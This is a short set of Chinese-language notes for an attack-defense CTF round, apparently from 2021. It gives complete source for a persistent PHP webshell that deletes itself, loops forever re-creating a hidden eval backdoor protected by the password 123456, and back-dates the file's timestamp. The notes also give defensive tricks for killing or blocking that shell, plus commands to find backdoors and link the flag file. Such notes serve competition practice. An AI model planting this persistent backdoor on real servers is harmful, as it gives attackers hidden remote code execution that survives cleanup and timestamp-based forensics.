2021国赛半决赛前awd记录

不死马

<?php
set_time_limit(0);
ignore_user_abort(1);
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
unlink(__FILE__);
while(1){   
    usleep(5000);
    if(file_exists('.daidaiwo.php')){
    }else{
  file_put_contents('.daidaiwo.php',base64_decode('PD9waHAgaWYobWQ1KCRfUE9TVFsicGFzcyJdKT09ImUxMGFkYzM5NDliYTU5YWJiZTU2ZTA1N2YyMGY4ODNlIil7QGV2YWwoJF9QT1NUWzFdKTt9Pz4='));
   system('touch -m -d "2017-11-17 15:20:54" .daidaiwo.php'); 
    }
}
?>

base64那串是

<?php if(md5($_POST["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST[1]);}?>

密码为

123456

杀不死马

条件竞争

<?php
set_time_limit(0);
ignore_user_abort(1);
while(1){
    @unlink('.daidaiwo.php');
}
?>

写到web目录 访问下

改权限(可能需要高一点的权限)

chatter: 锁定文件，不能删除，不能更改
+a: 只能给文件添加内容，但是删除不了，
chattr +a /etc/passwd
-d: 不可删除
加锁：chattr +i /etc/passwd 文件不能删除，不能更改，不能移动
查看加锁： lsattr /etc/passwd 文件加了一个参数 i 表示锁定
解锁：chattr -i /home/omd/h.txt - 表示解除

echo 0 > .daidaiwo.php;chattr +i .daidaiwo.php

创建目录

创建一个和不死马文件相同的目录

rm -rf .daidaiwo.php;mkdir .daidaiwo.php

快速查找后门

查找最近修改的文件

find ./ -name .*.php -mmin -10 

当前目录下10分钟内修改过的php文件

软连接

查找所有软连接判断其指向

ls -al $(find . -type l)

创建软连接

ln -s /flag ./backup/.dr0p3

查找关键字

在当前目录下查找有 /flag 出现的所有文件

grep "/flag" -r . 2>/dev/null